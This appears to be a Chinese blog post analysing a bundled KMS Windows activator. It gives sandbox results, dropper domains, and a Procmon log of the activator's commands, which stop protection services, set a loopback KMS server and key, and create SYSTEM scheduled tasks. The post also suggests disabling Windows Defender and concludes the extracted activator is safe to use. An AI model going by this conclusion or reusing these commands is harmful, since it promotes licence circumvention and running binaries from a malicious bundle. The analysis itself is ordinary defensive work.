将程序提交到微步沙箱进行分析，分析结果为高危

请求http://down.luckyboy.cn/KMS.nim

目前该链接已无法访问

从分析中共获取到如下URL：

http://xyr.luckyboy.cn/
http://xyr.luckyboy.cn/favicon.ico
http://www.tudoupe.com/
http://www.luckyboy.cn/
http://www.lovelucky.cn/
http://www.tudoupe.com/favicon.ico
http://www.lovelucky.cn/favicon.ico
http://schemas.microsoft.com/SMI/2005/WindowsSettings
http://www.luckyboy.cn/favicon.ico
http://w

通过站长之家的注册人反查可以看到上面所涉及到的异常域名都是由同一家公司注册的

其中http://www.luckyboy.cn/页面也是异常的，显示的网页为2345网址导航

打开源代码审查工具，可以看到是嵌套了2345导航网站的页面，并且有一个注释掉的div标签，内容为将该网站设置为首页，怎么看这网站都不对劲

软件在运行后释放出了7z.exe、7z.dll，这两个文件用于进行后续的解压操作，然后释放出XMDownload和KMS10_1025.exe文件，之后启动一个cmd进程执行7z.exe对XMDownload文件进行解压缩，解压出来的文件如下：

之后调用windows api：ShellExecuteExW传入如下参数

parameters: MiniThunderPlatform2020-09-2301:19:34 "C:\Users\x\AppData\Local\Temp\Download\download\MiniThunderPlatform.exe"
filepath: ThunderFW.exe
filepath_r: ThunderFW.exe
show_type: 0

运行了迅雷下载平台去恶意网站上下载文件，具体下载的是什么文件不清楚，但是XMDownload这个压缩包里的文件全部都是迅雷组件，不包含恶意文件，在释放出的文件中，唯一被检测出来的是KMS10_1025.exe文件，将该文件上传至微步沙箱进行分析

在该文件的分析结果中，有8款反病毒软件检测出改程序异常，其中大部分为KMS相关，这类软件多与windows操作系统破解相关，常被用于捆绑恶意软件，但也不一定都是恶意的

在virus total上，检出率为49/67，KMS居多，且检测出该软件存在检测虚拟机的行为

本地虚拟机分析

原始文件释放出KMS10_1025.exe文件，该文件是真正的用于激活windows操作系统的文件，现在我们对这个文件进行分析，创建一台windows 7 Professional x64虚拟机，创建完毕后生成快照，然后运行KMS10_1025.exe，在运行完毕后出现如下弹窗

遂恢复快照对比kms运行前后的计划任务：

可以看到kms创建出了两个计划任务，分别为KMS10和KMS10Server，加上/v选项获取计划任务的详细情况

KMS10计划任务会在系统启动时以system权限运行"C:\Windows\KMS10\KMS10.exe" auto

KMS10Server计划任务运行同样的命令，也是以system权限，不同的是它是每天运行一次

C:\Windows\KMS10\KMS10.exe和KMS10_1025.exe文件的sha1哈希值相同，两者为同一个文件，现在的问题是我们不知道该文件在加上auto参数运行时究竟做了什么

ProcessMonitor监控分析

Procmon工具下载链接：

https://gitee.com/wochinijiamile/smartya/raw/master/Procmon.exe

添加如下过滤器：

如果你是windows 10，请先关闭WindowsDefender，然后运行释放出的文件

在Procmon中监控到如下行为：

cmd /C net stop osppsvc /y >nul 2>&1
cmd /C tasklist /FI "IMAGENAME eq osppsvc.exe" 2>nul | find /i "osppsvc.exe" 1>nul && taskkill /t /f /IM KMS8Load.exe >nul 2>&1
cmd /C net stop sppsvc /y >nul 2>&1
cmd /C tasklist /FI "IMAGENAME eq sppsvc.exe" 2>nul | find /i "sppsvc.exe" 1>nul && taskkill /t /f /IM KMS8Load.exe >nul 2>&1
wmic path OfficeSoftwareProtectionProduct where (Description like "%%KMSCLIENT%%") get ID /format:list
wmic path SoftwareLicensingProduct where '(Description like "%%Windows%%" and not(Description like "%%KMSCLIENT%%") and LicenseStatus="1")' get ID /format:list
cmd /C "C:\Windows\Temp\r.exe" /nt60 sys
cmd /C "C:\Windows\Temp\u.exe" /rest sys
cmd /C icacls \\\gr1dr /grant administrators:F
cmd /C attrib \\\gr1dr -h -s -r
cmd /C cscript %systemroot%\system32\slmgr.vbs /skms 127.42.123.139:1688
cmd /C cscript %systemroot%\system32\slmgr.vbs /ipk 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH
cmd /C net stop sppsvc /y >nul 2>&1
cmd /C tasklist /FI "IMAGENAME eq sppsvc.exe" 2>nul | find /i "sppsvc.exe" 1>nul && taskkill /t /f /IM KMS8Load.exe >nul 2>&1
cmd /C cscript %systemroot%\system32\slmgr.vbs /ato
KMS8Load.exe C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
cmd /C net stop sppsvc /y >nul 2>&1
cmd /C tasklist /FI "IMAGENAME eq sppsvc.exe" 2>nul | find /i "sppsvc.exe" 1>nul && taskkill /t /f /IM KMS8Load.exe >nul 2>&1
cmd /C cscript %systemroot%\system32\slmgr.vbs /ckms
cmd /C schtasks /create /tn "KMS10" /tr "'C:\Windows\KMS10\KMS10.exe' auto" /sc ONSTART /ru "System" /f
cmd /C schtasks /create /tn "KMS10Server" /tr "'C:\Windows\KMS10\KMS10.exe' auto" /sc DAILY /ru "System" /f

我们来分析一下整体流程，先是关闭了osppsvc服务和sppsvc服务，这两者分别是针对office和windows系统的软件产品保护服务，并且为了确保这两个服务被彻底关闭，还分别执行了杀死对应进程的操作，然后启动了KMS服务，监听地址为127.42.123.139:1688（本地环回地址），之后便开始进行KMS服务器的设置与激活，激活完成后又进行了服务恢复和清除KMS服务器设置的操作，最后留下两个计划任务，一个是启动时运行，一个是隔天运行，两者除了运行频率不一样之外没有什么不同，目的是为了在KMS激活过期后（180天）能够再次自动激活

后记

在进行了Procmon进程监控之后，大致可以判断出，原始文件是存在恶意行为的，但是释放出的KMS文件应该是单纯的KMS激活工具，因此，我们如果直接使用释放出的KMS文件进行激活，应该是没有问题的，因为在后续的监控中，我也没有发现其存在进程注入以及网络连接行为